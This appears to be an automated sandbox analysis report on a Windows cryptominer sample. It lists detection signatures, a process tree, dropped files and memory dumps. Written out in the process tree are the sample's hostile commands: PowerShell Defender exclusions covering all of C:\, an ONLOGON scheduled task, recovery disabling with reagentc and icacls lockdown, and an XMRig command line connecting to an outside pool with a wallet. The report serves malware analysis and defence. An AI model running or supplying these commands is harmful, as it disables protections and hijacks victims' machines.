Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    31/10/2026, 01:49

General

  • Target
    2026-10-30_6871412793a75d768fd363c151db79c5_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
  • Size 394KB
  • Sample261031-b85phstz9p
  • SHA256 701d011a67ecb8dc497cdeef69fa6407c7a2b8a2f0fcb3632630ae14e9dabc0f
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Looks for VirtualBox Guest Additions in registry 2 TTPs 3 IoCs
  • XMRig Miner payload 13 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Looks for VMWare Tools registry key 2 TTPs 3 IoCs
  • Possible privilege escalation attempt 3 IoCs
  • Executes dropped EXE 3 IoCs
  • Modifies file permissions 1 TTPs 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
  • Looks up external IP address via web service 1 TTPs 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Power Settings 1 TTPs 7 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 5 IoCs
  • Executes a command shell one-liner 1 TTPs 5 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 38 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-10-30_6871412793a75d768fd363c151db79c5_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-10-30_6871412793a75d768fd363c151db79c5_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe"
    1⤵
    • Looks for VirtualBox Guest Additions in registry
    • Looks for VMWare Tools registry key
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious use of SetThreadContext
    • Drops file in Windows directory
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5536
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'powershell.exe'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3000
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'; Add-MpPreference -ExclusionPath 'C:\'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5884
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'WinTemp-v4.exe'; Add-MpPreference -ExclusionProcess 'Win-v42.exe'; Add-MpPreference -ExclusionProcess 'Win-v43.exe'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:2740
    • C:\Windows\SYSTEM32\schtasks.exe
      schtasks /Create /TN "v4" /TR "C:\Windows\System32\Win-v42.exe" /SC ONLOGON /RL HIGHEST /F
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:2376
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /C reagentc /disable
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4904
      • C:\Windows\system32\ReAgentc.exe
        reagentc /disable
        3⤵
        • Drops file in System32 directory
        • Drops file in Windows directory
        PID:1252
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /C takeown /F "%SystemRoot%\System32\reagentc.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3016
      • C:\Windows\system32\takeown.exe
        takeown /F "C:\Windows\System32\reagentc.exe"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:4924
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /grant Administrators:F
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4708
      • C:\Windows\system32\icacls.exe
        icacls "C:\Windows\System32\reagentc.exe" /grant Administrators:F
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:4228
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /deny Everyone:RX
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2800
      • C:\Windows\system32\icacls.exe
        icacls "C:\Windows\System32\reagentc.exe" /deny Everyone:RX
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1356
    • C:\Windows\SYSTEM32\powercfg.exe
      powercfg /change monitor-timeout-ac 0
      2⤵
      • Power Settings
      PID:1820
    • C:\Windows\SYSTEM32\powercfg.exe
      powercfg /change monitor-timeout-dc 0
      2⤵
      • Power Settings
      PID:1384
    • C:\Windows\SYSTEM32\powercfg.exe
      powercfg /change standby-timeout-ac 0
      2⤵
      • Power Settings
      PID:1728
    • C:\Windows\SYSTEM32\powercfg.exe
      powercfg /change standby-timeout-dc 0
      2⤵
      • Power Settings
      PID:5616
    • C:\Windows\SYSTEM32\powercfg.exe
      powercfg /change hibernate-timeout-ac 0
      2⤵
      • Power Settings
      PID:4100
    • C:\Windows\SYSTEM32\powercfg.exe
      powercfg /change hibernate-timeout-dc 0
      2⤵
      • Power Settings
      PID:2284
    • C:\Windows\SYSTEM32\powercfg.exe
      powercfg /hibernate off
      2⤵
      • Power Settings
      PID:4948
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c ping -n 1 -w 1000 8.8.8.8 > nul
      2⤵
      • Executes a command shell one-liner
      • System Network Configuration Discovery: Internet Connection Discovery
      • Suspicious use of WriteProcessMemory
      PID:4580
      • C:\Windows\system32\PING.EXE
        ping -n 1 -w 1000 8.8.8.8
        3⤵
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:4468
    • C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe --algo rx/0 --url 107.149.8.96:3333 --user 42rWxJoTVZnFvAxShvkZKLSR5dus86qUv89zRJXSvcWjTkwkVipmdvZY7CNNJGx2j62sTgnJxUgK27BQ8pSAQjYY6avcwcN/x -p x -k --cpu-max-threads-hint=90
      2⤵
      • Badlisted process makes network request
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious use of FindShellTrayWindow
      PID:1476
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:1012
    • C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
      1⤵
        PID:5564
      • C:\Windows\System32\Win-v42.exe
        C:\Windows\System32\Win-v42.exe
        1⤵
        • Looks for VirtualBox Guest Additions in registry
        • Looks for VMWare Tools registry key
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:4544
      • C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe
        C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe
        1⤵
        • Looks for VirtualBox Guest Additions in registry
        • Looks for VMWare Tools registry key
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:3396

      Network

            MITRE ATT&CK Enterprise v16

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            Downloads

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 a976a31824c3a0cc2a6b0fd9ec6045c398d82990e5e96df2ad86ba09a9b05be5
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 3b8d81e755972d0b47d8ee2cf37e173b9a84dab83f69f47ee897a7db3500370d
            • MD5 SHA1 SHA512 TLSH

            __PSScriptPolicyTest_fxs4jo22.kmw.psm1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fxs4jo22.kmw.psm1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            Win-v42.exe

            • Path C:\Windows\System32\Win-v42.exe
            • Size 394KB
            • SHA256 680f1a4514bf8184e9db10ffa1b387145008e9aa96484abbe63f44e2819ec474
            • MD5 SHA1 SHA512 SSDEEP TLSH

            memory/1476-90-0x00007FF6C7DB0000-0x00007FF6C8673000-memory.dmp

            memory/1476-89-0x00007FF6C7DB0000-0x00007FF6C8673000-memory.dmp

            memory/1476-87-0x00007FF6C7DB0000-0x00007FF6C8673000-memory.dmp

            memory/1476-86-0x00007FF6C7DB0000-0x00007FF6C8673000-memory.dmp

            memory/1476-84-0x00007FF6C7DB0000-0x00007FF6C8673000-memory.dmp

            memory/1476-83-0x00007FF6C7DB0000-0x00007FF6C8673000-memory.dmp

            memory/1476-82-0x00007FF6C7DB0000-0x00007FF6C8673000-memory.dmp

            memory/1476-88-0x00007FF6C7DB0000-0x00007FF6C8673000-memory.dmp

            memory/1476-81-0x00007FF6C7DB0000-0x00007FF6C8673000-memory.dmp

            memory/1476-80-0x00007FF6C7DB0000-0x00007FF6C8673000-memory.dmp

            memory/1476-91-0x00007FF6C7DB0000-0x00007FF6C8673000-memory.dmp

            memory/1476-79-0x000001FE2E6D0000-0x000001FE2E6F0000-memory.dmp

            memory/1476-92-0x00007FF6C7DB0000-0x00007FF6C8673000-memory.dmp

            memory/1476-93-0x00007FF6C7DB0000-0x00007FF6C8673000-memory.dmp

            memory/3000-17-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp

            memory/3000-7-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp

            memory/3000-24-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp

            memory/3000-25-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp

            memory/3000-27-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp

            memory/3000-23-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp

            memory/3000-2-0x00000277F0C90000-0x00000277F0CB2000-memory.dmp

            memory/3000-1-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp

            memory/3000-5-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp

            memory/3000-6-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp

            memory/3000-22-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp

            memory/3000-18-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp

            memory/3000-8-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp

            memory/3000-9-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp

            memory/3000-10-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp

            memory/3000-11-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp

            memory/3000-14-0x00000277F0D40000-0x00000277F0D5E000-memory.dmp

            memory/3000-15-0x00000277F0D60000-0x00000277F0E12000-memory.dmp

            memory/3000-16-0x00000277F0D20000-0x00000277F0D2A000-memory.dmp

            memory/3000-0-0x00007FFED5E0F000-0x00007FFED5E10000-memory.dmp

            memory/3000-19-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp

            memory/3000-20-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp

            memory/3000-21-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp

            memory/5884-35-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp

            memory/5884-49-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp

            memory/5884-47-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp

            memory/5884-42-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp

            memory/5884-46-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp

            memory/5884-45-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp

            memory/5884-44-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp

            memory/5884-43-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp

            memory/5884-41-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp

            memory/5884-40-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp

            memory/5884-39-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp

            memory/5884-36-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp

            memory/5884-34-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp

            memory/5884-33-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp

            memory/5884-32-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp

            memory/5884-31-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp